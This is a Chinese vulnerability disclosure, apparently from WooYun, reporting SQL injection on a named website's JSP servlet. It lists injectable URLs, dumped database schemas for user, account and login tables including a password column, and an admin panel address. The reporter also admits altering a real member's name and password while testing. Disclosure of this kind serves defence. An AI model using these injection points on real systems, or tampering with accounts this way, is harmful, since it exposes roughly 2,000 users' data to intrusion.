WooYun.org

因为涉及问题比较敏感 看如何联系他们解决 最好打电话通知或者怎么办吧 邮件没有用 我试了 谢谢
SQL注入 jsp的
点：
http://www.guoxuwang.cn/servlet/checkServlet.do?id=19
http://www.guoxuwang.cn:8700/servlet/checkServlet.do?id=19
| xxmz_transaction_log |
+-------------------------------+
Database: db_gxw_domain
Table: user
[22 columns]
+------------------+---------------------+
| Column | Type |
+------------------+---------------------+
| address | varchar(255) |
| city | varchar(20) |
| create_time | datetime |
| create_user | bigint(20) |
| email | varchar(128) |
| fax_num | varchar(20) |
| id | bigint(20) unsigned |
| id_num | varchar(20) |
| id_type | char(2) |
| name | varchar(128) |
| org | varchar(255) |
| para1 | varchar(20) |
| para2 | varchar(20) |
| postcode | varchar(8) |
| province | varchar(20) |
| reseller_user_id | bigint(20) unsigned |
| status | tinyint(4) |
| tel_num | varchar(20) |
| update_time | datetime |
| update_user | bigint(20) |
| user_group_id | varchar(20) |
| user_level_id | int(10) unsigned |
+------------------+---------------------+
Database: db_gxw_domain
Table: user_account
[10 columns]
+--------------------+---------------------+
| Column | Type |
+--------------------+---------------------+
| balance_amount | decimal(10,2) |
| consume_amount | decimal(10,2) |
| credit_alert_date | date |
| id | bigint(20) unsigned |
| left_credit_amount | decimal(10,2) |
| recharge_amount | decimal(10,2) |
| status | tinyint(4) |
| update_time | datetime |
| used_credit_amount | decimal(10,2) |
| user_id | bigint(20) unsigned |
+--------------------+---------------------+
Database: db_gxw_domain
Table: user_login
[6 columns]
+-----------------+---------------------+
| Column | Type |
+-----------------+---------------------+
| id | bigint(20) unsigned |
| last_login_ip | varchar(20) |
| last_login_time | datetime |
| login | varchar(100) |
| password | varchar(100) |
| user_id | bigint(20) unsigned |
+-----------------+---------------------+
涉及用户近2000名
后台： https://cp.guoxuwang.cn/admin/

上图：

为了测试 改了一个会员名：小白兔(密码改为：x123456...) 不好意思 一切为安全测试

ok 过滤修补吧